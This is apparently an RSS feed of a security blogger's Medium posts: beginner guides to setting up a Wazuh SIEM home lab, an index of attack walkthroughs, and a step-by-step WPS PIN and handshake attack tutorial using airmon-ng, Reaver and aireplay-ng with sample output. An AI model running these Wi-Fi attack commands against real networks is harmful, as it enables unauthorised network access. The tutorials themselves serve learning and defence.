<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MUHAMMED NAWAF M V on Medium]]></title>
        <description><![CDATA[Stories by MUHAMMED NAWAF M V on Medium]]></description>
        <link>https://medium.com/@muhammednawafmv?source=rss-bba2e13caf4d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*8AyKwdysuPSczdYX</url>
            <title>Stories by MUHAMMED NAWAF M V on Medium</title>
            <link>https://medium.com/@muhammednawafmv?source=rss-bba2e13caf4d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 07:30:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@muhammednawafmv/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Building a Home SOC Lab with Wazuh Part 2: Installing the SIEM]]></title>
            <link>https://medium.com/@muhammednawafmv/building-a-home-soc-lab-with-wazuh-part-2-installing-the-siem-f1188498662e?source=rss-bba2e13caf4d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1188498662e</guid>
            <category><![CDATA[windows-event-ids-soc]]></category>
            <category><![CDATA[free-cybersecurity-lab]]></category>
            <category><![CDATA[what-is-fim-security]]></category>
            <category><![CDATA[detect-ransomware-free]]></category>
            <category><![CDATA[mitre-attack-beginners]]></category>
            <dc:creator><![CDATA[MUHAMMED NAWAF M V]]></dc:creator>
            <pubDate>Sat, 02 May 2026 06:13:51 GMT</pubDate>
            <atom:updated>2026-05-02T06:13:51.322Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Series: Building a Home SOC Lab with Wazuh — From Zero to Detecting Real Attacks</em></p><p><em>In Part 1, we set up our Ubuntu VM. Now we install Wazuh on it and access the dashboard for the first time. If you haven’t done Part 1 yet, start there — this part assumes your Ubuntu VM is running and updated.</em></p><h3>🎯 What You’ll Learn in This Part</h3><ul><li>How Wazuh’s three components work together</li><li>How to install Wazuh using a single command</li><li>What SSL certificates and ports are</li><li>How to navigate the Wazuh dashboard</li><li>Key security concepts: authentication, encryption, least privilege</li></ul><h3>Understanding Wazuh’s Architecture First</h3><p>Before we install anything, it’s worth understanding exactly what we’re installing and why it’s structured the way it is.</p><p>Wazuh is made of three components that work together:</p><pre>┌─────────────────────────────────────┐<br>│           UBUNTU VM                  │<br>│                                     │<br>│  ┌─────────────┐                    │<br>│  │   Wazuh     │  ← Processes logs  │<br>│  │   Manager   │    Runs rules      │<br>│  │             │    Fires alerts    │<br>│  └──────┬──────┘                    │<br>│         │                           │<br>│  ┌──────▼──────┐                    │<br>│  │   Wazuh     │  ← Stores all     │<br>│  │   Indexer   │    log data        │<br>│  │ (OpenSearch)│    Searchable DB   │<br>│  └──────┬──────┘                    │<br>│         │                           │<br>│  ┌──────▼──────┐                    │<br>│  │   Wazuh     │  ← Visual UI      │<br>│  │  Dashboard  │    You work here   │<br>│  │  (Kibana)   │    Browser based   │<br>│  └─────────────┘                    │<br>└─────────────────────────────────────┘</pre><p><strong>Wazuh Manager</strong> is the brain. It receives logs from all agents, runs detection rules against them, and fires alerts when something suspicious matches. Think of it as the analyst who reads every single log entry.</p><p><strong>Wazuh Indexer</strong> is built on OpenSearch (a free version of Elasticsearch). It stores every log that comes in and makes it searchable. Think of it as the filing cabinet that holds everything — even if you want to search through three months of logs for a specific IP address, the Indexer finds it in seconds.</p><p><strong>Wazuh Dashboard</strong> is the visual interface you work in. It’s browser-based, built on Kibana, and shows you alerts, graphs, agent status, and everything else you need to do SOC work. You’ll be spending most of your time here.</p><p>The “all-in-one” installation puts all three on the same Ubuntu VM. In large enterprise environments these are often separate servers, but for our home lab, one VM handles everything perfectly.</p><h3>What is OpenSearch?</h3><p>OpenSearch is a free, open source search engine that can handle millions of log entries per day. When Wazuh stores your logs in the Indexer, it’s actually storing them in OpenSearch. When you search for alerts in the dashboard, OpenSearch is doing the searching behind the scenes.</p><p>You don’t need to configure OpenSearch directly — Wazuh handles all of that. But it’s good to know it exists because you’ll see it mentioned in logs and documentation.</p><h3>The Install Command</h3><p>Open your Ubuntu VM, press <strong>Ctrl + Alt + T</strong> to open the terminal, and run this single command:</p><pre>curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh &amp;&amp; sudo bash ./wazuh-install.sh -a</pre><p>This will take <strong>15 to 20 minutes</strong>. Here’s what every part of that command means:</p><p>Part What it does curl Tool to download files from the internet -sO Silent mode — save with the original filename https://...wazuh-install.sh The URL of the official install script &amp;&amp; Only run the next command if the first one succeeded sudo Run as administrator bash Execute the script ./wazuh-install.sh The script we just downloaded -a All-in-one flag — installs all three components</p><h3>What Happens During Installation</h3><p>The script automatically handles everything:</p><pre>Step 1: Checks your system requirements<br>        → RAM, disk space, OS version</pre><pre>Step 2: Downloads all packages<br>        → Wazuh Manager, Indexer, Dashboard</pre><pre>Step 3: Installs Wazuh Indexer<br>        → Sets up the OpenSearch database</pre><pre>Step 4: Installs Wazuh Manager<br>        → Sets up the rule engine and log processing</pre><pre>Step 5: Installs Wazuh Dashboard<br>        → Sets up the web interface with SSL</pre><pre>Step 6: Connects all components together</pre><pre>Step 7: Generates admin credentials<br>        → A random secure password is shown at the end</pre><p>When it finishes, you’ll see something like this at the bottom of the output:</p><pre>User: admin<br>Password: [random characters]</pre><p><strong>Save this password immediately.</strong> Open Notepad on your host PC and copy it there. If you lose it, you’ll need to reset it through the command line.</p><h3>Accessing the Dashboard</h3><p>Open Firefox inside your Ubuntu VM and go to:</p><pre>https://127.0.0.1</pre><p>You’ll immediately see a browser warning saying the connection is not private. This is expected — here’s why.</p><h3>What is SSL and Why is There a Warning?</h3><p><strong>SSL (Secure Socket Layer)</strong> is the technology that encrypts connections between your browser and a server. When you see https:// instead of http://, the connection is encrypted using SSL.</p><p>Every SSL connection requires a <strong>certificate</strong> — a digital document that proves who owns the server. These certificates are normally issued by a trusted authority (like Let’s Encrypt or DigiCert).</p><p>Wazuh creates its own <strong>self-signed certificate</strong> during installation. This means Wazuh signed its own certificate rather than having an official authority sign it. Your browser sees this and says “I don’t recognize who signed this — are you sure you trust it?”</p><p>In a home lab, this is completely safe to ignore. Click <strong>Advanced</strong> → <strong>Accept the Risk and Continue</strong> to proceed.</p><p>In real corporate environments, a proper trusted certificate is used so users don’t see warnings.</p><h3>What is 127.0.0.1?</h3><p>127.0.0.1 is called the <strong>loopback address</strong> or <strong>localhost</strong>. It always means &quot;this computer itself.&quot; When you type 127.0.0.1 inside the Ubuntu VM, you&#39;re connecting to a service running on that same machine.</p><p>From outside the VM (like from your Windows PC), you’d use the VM’s actual IP address — in my case 192.168.1.38.</p><h3>What is a Port?</h3><p>A <strong>port</strong> is a number that identifies a specific service running on a computer. One computer can run dozens of different services, and ports are how incoming connections know which service to reach.</p><p>Key Wazuh ports:</p><pre>https://127.0.0.1       = port 443  (Dashboard)<br>Agent → Manager         = port 1514 (Log shipping)<br>Dashboard → Indexer     = port 9200 (Data queries)<br>Wazuh API               = port 55000</pre><p>When you type https://127.0.0.1 with no port number, your browser automatically uses port 443 because that&#39;s the standard HTTPS port.</p><h3>Logging In</h3><p>At the login screen, enter:</p><ul><li><strong>Username:</strong> admin</li><li><strong>Password:</strong> the password saved from the end of installation</li></ul><p>You’re in. Welcome to your SIEM.</p><h3>Navigating the Dashboard</h3><p>Here are the main sections you’ll use throughout this series:</p><p>Section What it shows <strong>Home</strong> Overview — alert counts and agent status <strong>Security Events</strong> Every alert that has fired, searchable <strong>Agents</strong> All connected devices being monitored <strong>MITRE ATT&amp;CK</strong> Alerts mapped to attack framework techniques <strong>Vulnerabilities</strong> Known CVEs detected on your endpoints <strong>Integrity Monitoring</strong> File changes detected by FIM <strong>Rules</strong> All the detection rules Wazuh uses</p><p>For now, the most important section is <strong>Agents</strong>. You’ll notice it’s empty — that’s because we haven’t connected our Windows PC yet. That’s Part 3.</p><h3>Important File Locations</h3><p>You’ll need these later when we configure rules and agents:</p><pre>Main config file:<br>/var/ossec/etc/ossec.conf</pre><pre>Custom detection rules:<br>/var/ossec/etc/rules/local_rules.xml</pre><pre>Wazuh live logs:<br>/var/ossec/logs/ossec.log</pre><pre>Live alert stream:<br>/var/ossec/logs/alerts/alerts.json</pre><h3>Key Security Concepts Introduced Today</h3><p><strong>Authentication</strong> — Wazuh protects access with username and password. In real environments, MFA (multi-factor authentication) is always added on top.</p><p><strong>Encryption</strong> — All traffic to the dashboard is encrypted via HTTPS. Agent-to-manager communication is also encrypted. Logs are stored securely in the Indexer.</p><p><strong>Least Privilege</strong> — In real SOC environments, analysts get limited accounts. Only the admin account can change configurations. Day-to-day investigation work uses regular analyst accounts. This limits the damage if an analyst account is compromised.</p><h3>✅ End of Part 2 Checklist</h3><pre>✅ Understood Wazuh&#39;s three-component architecture<br>✅ Ran the all-in-one install command<br>✅ Waited for installation to complete (~15 minutes)<br>✅ Saved admin credentials in Notepad<br>✅ Opened Firefox inside Ubuntu VM<br>✅ Navigated to https://127.0.0.1<br>✅ Accepted the SSL warning<br>✅ Logged in with admin credentials<br>✅ Explored the Wazuh Dashboard<br>✅ Took a screenshot for your GitHub portfolio</pre><h3>What’s Next</h3><p>In <strong>Part 3</strong>, we connect our Windows 11 PC to Wazuh as a monitored endpoint. We’ll install the Wazuh agent, configure it, and watch real Windows logs start flowing into the dashboard. We’ll also fix the #1 networking problem beginners hit — NAT vs Bridged mode.</p><p><em>GitHub Repository: </em><a href="https://github.com/muhammednawaf/wazuh-siem-lab"><em>github.com/muhammednawaf/wazuh-siem-lab</em></a></p><p><em>Connect with me on LinkedIn: </em><a href="https://www.linkedin.com/in/muhammednawafmv/"><em>linkedin.com/in/muhammednawafmv</em></a></p><p><strong>→ Continue to Part 3: Connecting a Windows 11 Endpoint</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1188498662e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Home SOC Lab with Wazuh Part 1: What is a SIEM & Setting Up the Lab]]></title>
            <link>https://medium.com/@muhammednawafmv/building-a-home-soc-lab-with-wazuh-part-1-what-is-a-siem-setting-up-the-lab-6856983cc9f0?source=rss-bba2e13caf4d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6856983cc9f0</guid>
            <category><![CDATA[windows-event-ids-soc]]></category>
            <category><![CDATA[what-is-fim-security]]></category>
            <category><![CDATA[free-cybersecurity-lab]]></category>
            <category><![CDATA[detect-ransomware-free]]></category>
            <category><![CDATA[mitre-attack-beginners]]></category>
            <dc:creator><![CDATA[MUHAMMED NAWAF M V]]></dc:creator>
            <pubDate>Sat, 02 May 2026 06:07:33 GMT</pubDate>
            <atom:updated>2026-05-02T06:16:09.097Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Series: Building a Home SOC Lab with Wazuh — From Zero to Detecting Real Attacks</em></p><p>If you want to break into cybersecurity but don’t know where to start, this series is for you.</p><p>Over 6 parts, I’ll walk you through exactly how I built a fully working Security Operations Center (SOC) lab at home — from scratch, for free — using a tool called Wazuh. By the end of this series, you’ll have detected real attack techniques, written your own detection rules, and have a GitHub portfolio that hiring managers actually notice.</p><p>No prior experience needed. Let’s start from the very beginning.</p><h3>🎯 What You’ll Learn in This Part</h3><ul><li>What a SIEM is and why every SOC team uses one</li><li>What Wazuh is and how it’s structured</li><li>What logs, agents, and alerts actually are</li><li>How to install VirtualBox and set up an Ubuntu VM</li><li>The Linux commands you’ll need to get started</li></ul><h3>What is a SIEM?</h3><p><strong>SIEM stands for Security Information and Event Management.</strong></p><p>That’s a mouthful. Here’s what it actually means in plain English:</p><p>A SIEM is a tool that sits in the middle of your network and watches everything. Every device — laptops, servers, phones, firewalls — sends a record of what it’s doing to the SIEM. The SIEM reads all of those records, looks for anything suspicious, and fires an alert when something bad might be happening.</p><p>Think of it like a security guard who receives reports from every camera and sensor in a building. They don’t physically check every corner themselves — they watch the screens and react when something looks wrong.</p><p>Here’s a real-world example of what that looks like:</p><pre>An employee&#39;s PC gets hacked at 3am<br>→ The PC sends logs to the SIEM<br>→ SIEM detects a login at an unusual hour<br>→ An alert fires<br>→ A SOC analyst investigates<br>→ The incident is contained before damage spreads</pre><p>Without a SIEM, that 3am login might go completely unnoticed for weeks.</p><h3>What is a SOC?</h3><p>A <strong>Security Operations Center (SOC)</strong> is the team of analysts who monitor, investigate, and respond to security alerts — usually 24/7. When you work in a SOC, the SIEM is your primary tool. You live inside it.</p><p>Building a home lab with a SIEM is the single best thing you can do to prepare for a SOC analyst role. It’s the difference between saying “I know what a SIEM is” and saying “I’ve used one to detect real attacks.”</p><h3>What is Wazuh?</h3><p>Wazuh is a <strong>free, open source SIEM</strong> used in real SOC environments around the world. It does everything an enterprise SIEM does — collect logs, detect threats, fire alerts, map to MITRE ATT&amp;CK — and it costs nothing to run in a home lab.</p><p>Wazuh has three main components:</p><p>Component What it does Think of it as… <strong>Wazuh Manager</strong> Processes all logs and runs detection rules The analyst reading every log <strong>Wazuh Indexer</strong> Stores all the logs in a searchable database The filing cabinet <strong>Wazuh Dashboard</strong> The visual interface you work in The screen where you do your work</p><p>All three run together on a single Ubuntu server. We’ll install all of them in Part 2.</p><h3>What is an Agent?</h3><p>A <strong>Wazuh Agent</strong> is a small program you install on any device you want to monitor. It runs silently in the background, collects logs from that device, and sends them to the Wazuh Manager every few seconds.</p><p>In our lab, the agent will be installed on a Windows 11 PC. Here’s how the full flow looks:</p><pre>Windows 11 PC<br>└── Wazuh Agent installed<br>      └── Collects logs continuously<br>            └── Sends logs → Wazuh Manager (Ubuntu VM)<br>                  └── Manager processes and stores logs<br>                        └── Dashboard shows alerts</pre><h3>What is a Log?</h3><p>A <strong>log</strong> is a record of something that happened on a computer. Every action on Windows — a login, a failed password, a new user created, a file deleted — generates a log entry.</p><p>Here’s what Windows logs look like:</p><pre>[10:42:01] User &quot;john&quot; logged in successfully<br>[10:45:33] User &quot;admin&quot; failed login — wrong password<br>[10:46:01] New user &quot;hacker&quot; created<br>[10:46:45] Security event log cleared</pre><p>Each of these events has a unique <strong>Event ID</strong> — a number that identifies exactly what happened. SOC analysts use these IDs constantly, and you’ll learn the most important ones throughout this series.</p><h3>Important Windows Event IDs to Know</h3><p>These come up in job interviews. Memorize them:</p><p>Event ID What it means Why it matters <strong>4624</strong> Successful login Baseline — normal activity <strong>4625</strong> Failed login Brute force detection <strong>4720</strong> New user created Persistence attack <strong>4732</strong> User added to Admins Privilege escalation <strong>4740</strong> Account locked out Password spraying <strong>1102</strong> Audit log cleared Defense evasion — critical!</p><p>Don’t worry about understanding all of these deeply right now. By Part 4, you’ll have triggered every single one of them yourself and watched Wazuh detect them in real time.</p><h3>Lab Architecture</h3><p>Here’s what we’re building:</p><pre>Your Windows 11 PC (Host)<br>└── VirtualBox<br>      └── Ubuntu 22.04 VM (Guest)<br>            └── Wazuh SIEM (Manager + Indexer + Dashboard)</pre><pre>Your Windows 11 PC also runs:<br>└── Wazuh Agent → sends logs → Ubuntu VM</pre><p>The Ubuntu VM acts as our SIEM server. The Windows PC acts as the endpoint being monitored. Both are on the same home network — simple, free, and powerful.</p><p><strong>My lab details:</strong></p><ul><li>Wazuh Server: Ubuntu 22.04, IP 192.168.1.38</li><li>Windows Agent: Windows 11, IP 192.168.1.35</li><li>Wazuh Version: v4.7.5</li></ul><h3>What You Need Before Starting</h3><ul><li>A Windows PC with at least 8GB RAM (the VM will use 4GB)</li><li>About 60GB of free disk space</li><li>An internet connection</li><li>About 2 hours for this part</li></ul><h3>Step 1 — Install VirtualBox</h3><p>VirtualBox is free software that lets you run a virtual computer inside your real computer. The virtual machine (VM) is completely isolated — anything you do inside it cannot affect your real PC.</p><ol><li>Go to <a href="https://www.virtualbox.org/">virtualbox.org</a></li><li>Click <strong>Downloads</strong></li><li>Download the version for <strong>Windows hosts</strong></li><li>Run the installer and follow the prompts (all defaults are fine)</li></ol><h3>Step 2 — Download Ubuntu 22.04</h3><p>Ubuntu is the Linux operating system our Wazuh server will run on.</p><ol><li>Go to <a href="https://ubuntu.com/download/desktop">ubuntu.com/download/desktop</a></li><li>Download <strong>Ubuntu 22.04 LTS</strong> (the LTS version is stable and supported long-term)</li><li>This is a large file (~4.7GB) — let it download while you continue reading</li></ol><h3>Step 3 — Create the Ubuntu VM</h3><p>Open VirtualBox and click <strong>New</strong>. Configure it like this:</p><p>Setting Value Name Ubuntu-Wazuh Type Linux Version Ubuntu (64-bit) RAM 4096 MB (4GB) Storage 50 GB (create new virtual hard disk)</p><p>Then:</p><ol><li>Click the VM → <strong>Settings</strong> → <strong>Storage</strong></li><li>Click the empty CD icon → <strong>Choose a disk file</strong></li><li>Select the Ubuntu ISO you downloaded</li><li>Click <strong>Start</strong> to boot it</li></ol><p>Follow the Ubuntu installer. When asked about installation type, choose <strong>Erase disk and install Ubuntu</strong> (this only affects the virtual disk, not your real PC). Set a username and password you’ll remember.</p><h3>Step 4 — Open the Terminal and Update Ubuntu</h3><p>Once Ubuntu is installed and you’re at the desktop:</p><ol><li>Press <strong>Ctrl + Alt + T</strong> to open the Terminal</li><li>Run these commands one by one:</li></ol><pre>sudo apt update<br>sudo apt upgrade -y</pre><p>sudo means &quot;run as administrator.&quot; apt update checks for available updates. apt upgrade installs them. The -y flag automatically says yes to all prompts.</p><h3>Step 5 — Find Your VM’s IP Address</h3><p>You’ll need this IP address in Part 2 to connect the Windows agent to the Wazuh server. Run:</p><pre>ip a</pre><p>Look for a line that starts with inet followed by an address like 192.168.1.xxx. Write this down. Mine was 192.168.1.38.</p><h3>Basic Linux Commands Reference</h3><p>Command What it does ip a Show your IP address sudo Run as administrator sudo apt update Check for available updates sudo apt upgrade Install updates curl Download files from the internet bash Execute a script file nano Open a text editor</p><h3>✅ End of Part 1 Checklist</h3><p>By the end of this part you should have:</p><pre>✅ Installed VirtualBox<br>✅ Downloaded Ubuntu 22.04<br>✅ Created VM (4GB RAM, 50GB disk)<br>✅ Installed Ubuntu Desktop<br>✅ Opened the terminal<br>✅ Found the VM IP address<br>✅ Updated Ubuntu packages</pre><h3>What’s Next</h3><p>In <strong>Part 2</strong>, we install Wazuh on this Ubuntu VM using a single command, access the dashboard for the first time, and explore every section of the interface.</p><p>The install takes about 15 minutes and the result is a fully functional SIEM running on your home network.</p><p><em>GitHub Repository: </em><a href="https://github.com/muhammednawaf/wazuh-siem-lab"><em>github.com/muhammednawaf/wazuh-siem-lab</em></a></p><p><em>Connect with me on LinkedIn: </em><a href="https://www.linkedin.com/in/muhammednawafmv/"><em>linkedin.com/in/muhammednawafmv</em></a></p><p><strong>→ Continue to Part 2: Installing Wazuh SIEM on Ubuntu</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6856983cc9f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cybersecurity 101]]></title>
            <link>https://medium.com/@muhammednawafmv/cybersecurity-101-271154937d2b?source=rss-bba2e13caf4d------2</link>
            <guid isPermaLink="false">https://medium.com/p/271154937d2b</guid>
            <category><![CDATA[cybersecurity-101]]></category>
            <dc:creator><![CDATA[MUHAMMED NAWAF M V]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 11:37:04 GMT</pubDate>
            <atom:updated>2025-08-26T12:05:17.068Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>⚠️ <strong>Disclaimer:</strong> This post is strictly for educational and awareness purposes. Do not attempt any of the techniques on networks or systems you do not own or have explicit permission to test. All content is intended to help learners understand cybersecurity concepts safely.</blockquote><h3>Table of Contents</h3><ol><li><a href="https://medium.com/@muhammednawafmv/tryhackme-bruteit-full-walkthrough-http-bruteforce-ssh-key-cracking-root-via-sudo-e23abd1b7d21"><strong>Online Bruteforcing</strong></a> — Learn how passwords can be tested over live systems in a controlled lab environment.</li><li><a href="https://medium.com/@muhammednawafmv/tryhackme-bountyhunter-online-ssh-bruteforcing-to-root-access-7e93c30fbd8a"><strong>Online Bruteforcing and Previlage Escalation</strong></a><strong> — </strong>Learn how to test passwords on live systems and safely explore methods to gain higher-level access for educational purposes.</li><li><a href="https://medium.com/@muhammednawafmv/offline-brute-forcing-on-mustang-os-f433a897356c"><strong>Offline Bruteforcing</strong> </a>— Understand cracking password hashes without network interaction.</li><li><a href="https://medium.com/@muhammednawafmv/exploiting-metasploitable2-via-open-port-using-metasploit-5a9ac8e099e7"><strong>Metasploitable 2 Hacking</strong></a> — Practice ethical penetration testing on a vulnerable VM safely.</li><li><a href="https://medium.com/@muhammednawafmv/full-metasploit-eternalblue-attack-chain-on-windows-7-without-user-interaction-45842c3f6243"><strong>Windows 7</strong> Without User Interaction</a>— Explore common security weaknesses and configurations in Windows 7.</li><li><a href="https://medium.com/@muhammednawafmv/full-metasploit-attack-chain-on-windows-7-with-payload-only-55ce6352834a"><strong>Windows 7</strong> With Payload</a>— Explore common security weaknesses and configurations in Windows 7.</li><li><a href="https://medium.com/@muhammednawafmv/windows-10-exploitation-privilege-escalation-maintaining-access-28ab03453f93"><strong>Windows 10 Explotation</strong></a> — Learn about security features and vulnerabilities specific to Windows 10.</li><li><a href="https://medium.com/@muhammednawafmv/xss-cross-site-scripting-persistent-reflected-dom-based-attacks-with-dvwa-beef-3963dc4b7198"><strong>XSS Cross Site Scripting</strong> </a>— See how scripts can be injected into web pages to understand XSS attacks.</li><li><a href="https://medium.com/@muhammednawafmv/sql-injection-in-mutillidae-metasploitable-2-manual-sqlmap-attack-chain-aaff3bb9fda9"><strong>SQL Injection</strong></a><strong> </strong>— Learn SQLi vulnerabilities and how to test them safely.</li><li><a href="https://medium.com/@muhammednawafmv/tryhackme-brooklyn-nine-nine-steganography-ssh-privilege-escalation-202d915c1de0"><strong>Steganography</strong></a> — Hide and detect messages inside images and other files.</li><li><a href="https://medium.com/@muhammednawafmv/website-hacking-dvwa-command-execution-file-upload-exploitation-a555c83a670c"><strong>DVWA (Website Hacking)</strong></a> — Practice attacking web applications using the Damn Vulnerable Web Application.</li><li><a href="https://medium.com/@muhammednawafmv/cracking-wep-wifi-a-look-into-outdated-security-70a53011bac6"><strong>Wifi Hacking WEP</strong></a> — Step-by-step guide to capturing packets and cracking WEP networks.</li><li><a href="https://medium.com/@muhammednawafmv/enable-monitor-mode-in-tp-link-tl-wn722n-kali-linux-guide-adf6d14cea9d"><strong>Wifi Adapter Configuration (TP-Link WN722)</strong></a> — Setup your WiFi adapter for penetration testing and monitor mode.</li><li><a href="https://medium.com/@muhammednawafmv/mastering-wi-fi-deauth-attacks-using-aircrack-ng-tools-7892d18db6cb"><strong>Wifi Deauthentication Attack</strong></a> — Learn how WiFi sessions can be temporarily disrupted for testing purposes.</li><li><a href="https://medium.com/@muhammednawafmv/wifi-hacking-wpa-wpa2-wps-and-handshake-attacks-explained-9cf149ea8743"><strong>Wifi Hacking WPA/WPA2</strong> </a>— Explore WPS PIN attacks and handshake capture for educational purposes.</li><li><a href="https://medium.com/@muhammednawafmv/cracking-wep-wifi-a-look-into-outdated-security-70a53011bac6"><strong>Wifi Hacking WEP</strong></a> — Understand weaknesses in legacy WEP networks and learn packet capture techniques.</li><li><a href="https://medium.com/@muhammednawafmv/inside-wpa2-security-capturing-and-cracking-handshakes-2e3a22f7ca81"><strong>Wifi Hacking WPA2</strong></a> — Focused guide on cracking WPA2 networks using handshake captures.</li><li><a href="https://medium.com/@muhammednawafmv/android-hacking-using-payload-l3mon-e5ce7ad6a6ee"><strong>Android Hacking Using L3MON</strong> </a>— Learn how Android devices can be tested in a controlled lab environment.</li><li><a href="https://medium.com/@muhammednawafmv/exploiting-unrestricted-file-uploads-portswigger-lab-walkthrough-bc6008ddd78c"><strong>Burpsuite Basics —</strong> </a>Learn to intercept, analyze, and test web traffic for security vulnerabilities.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=271154937d2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WiFi Hacking WPA/WPA2: WPS and Handshake Attacks Explained]]></title>
            <link>https://medium.com/@muhammednawafmv/wifi-hacking-wpa-wpa2-wps-and-handshake-attacks-explained-9cf149ea8743?source=rss-bba2e13caf4d------2</link>
            <guid isPermaLink="false">https://medium.com/p/9cf149ea8743</guid>
            <category><![CDATA[cybersecurity-101]]></category>
            <dc:creator><![CDATA[MUHAMMED NAWAF M V]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 10:59:29 GMT</pubDate>
            <atom:updated>2025-08-26T10:59:29.223Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>⚠️ <strong>Disclaimer:</strong> This post is strictly for educational and awareness purposes. Unauthorized access to networks is illegal. Use this guide only on your own router or lab setup.</blockquote><p>This guide covers <strong>two methods</strong> for testing WPA/WPA2 security:</p><ol><li>Exploiting <strong>WPS PIN authentication</strong></li><li>Capturing a <strong>4-way handshake</strong> for password cracking</li></ol><h3>Step 1: Enable Monitor Mode</h3><pre>ifconfig wlan0 down<br>airmon-ng check kill<br>ifconfig wlan0 mode monitor<br>ifconfig wlan0 up<br>iwconfig</pre><p><strong>Expected Output:</strong></p><ul><li>ifconfig wlan0 down → no output, disables the card.</li><li>airmon-ng check kill → displays processes being terminated (e.g., NetworkManager, wpa_supplicant).</li><li>iwconfig → shows something like:</li></ul><pre>wlan0    IEEE 802.11  Mode:Monitor  Frequency:2.437 GHz  Tx-Power=20 dBm  <br>          Retry short limit:7   RTS thr:off   Fragment thr:off</pre><p><strong>Alternative Command:</strong></p><pre>ifconfig wlan0 down<br>airmon-ng check kill<br>airmon-ng start wlan0<br>iwconfig</pre><p><strong>Expected Output:</strong></p><pre>Interface wlan0mon created<br>wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.437 GHz  Tx-Power=20 dBm</pre><h3>Step 2: Scan for Networks</h3><pre>airodump-ng wlan0</pre><p><strong>Expected Output:</strong><br> A table with columns like:</p><pre>BSSID              PWR  CH  ENC  ESSID<br>00:14:6C:7E:40:80  -40  6  WPA2  MyWiFi</pre><ul><li><strong>BSSID</strong> → Router MAC address</li><li><strong>PWR</strong> → Signal strength</li><li><strong>CH</strong> → Channel</li><li><strong>ENC</strong> → Encryption type</li><li><strong>ESSID</strong> → Network name</li></ul><h3>Step 3: Identify WPS Enabled Networks</h3><pre>wash --interface wlan0</pre><p><strong>Expected Output:</strong><br> A table showing:</p><pre>BSSID              CH  WPS  ESSID<br>00:14:6C:7E:40:80  6   Yes  MyWiFi</pre><ul><li>Only networks with <strong>WPS: Yes</strong> can be attacked with PIN method.</li><li>PBC (Push Button) cannot be exploited.</li></ul><h3>Step 4: Prepare Reaver Tool</h3><pre>chmod +x reaver</pre><p><strong>Expected Output:</strong></p><pre>No output, permissions changed to executable</pre><h3>Step 5: Launch WPS PIN Attack</h3><pre>./reaver --bssid &lt;bssid&gt; --channel 9 --interface wlan0 -vvv --no-associate</pre><p><strong>Expected Output:</strong></p><ul><li>Reaver attempts PINs, showing progress:</li></ul><pre>[+] Trying pin: 12345670<br>[+] PIN not correct, trying next<br>[+] WPS pin found: 12345670<br>[+] WPA PSK: mypassword123</pre><h3>Step 6: Authenticate with Fake Connection</h3><pre>aireplay-ng --fakeauth 30 -a &lt;bssid&gt; -h &lt;wifi_adapter_mac_address&gt; wlan0</pre><p><strong>Expected Output:</strong></p><pre>Sending Authentication to 00:14:6C:7E:40:80 (30s)<br>Authentication successful</pre><h3>Step 7: Password Retrieved</h3><ul><li>Reaver outputs the <strong>WPA/WPA2 password</strong>:</li></ul><pre>WPA PSK: mypassword123</pre><ul><li>This password can now be used to connect to the network.</li></ul><p>This demonstrates how <strong>WPS PIN</strong> can make even WPA/WPA2 networks vulnerable. Always <strong>disable WPS</strong> or use <strong>strong passwords</strong>.</p><blockquote>⚠️ <strong>Disclaimer:</strong><br> This article is intended strictly for educational purposes. Do not attempt these techniques on networks you do not own or have explicit permission to test.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9cf149ea8743" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inside WPA2 Security: Capturing and Cracking Handshakes]]></title>
            <link>https://medium.com/@muhammednawafmv/inside-wpa2-security-capturing-and-cracking-handshakes-2e3a22f7ca81?source=rss-bba2e13caf4d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e3a22f7ca81</guid>
            <category><![CDATA[cybersecurity-101]]></category>
            <dc:creator><![CDATA[MUHAMMED NAWAF M V]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 10:53:21 GMT</pubDate>
            <atom:updated>2025-08-26T10:53:41.212Z</atom:updated>
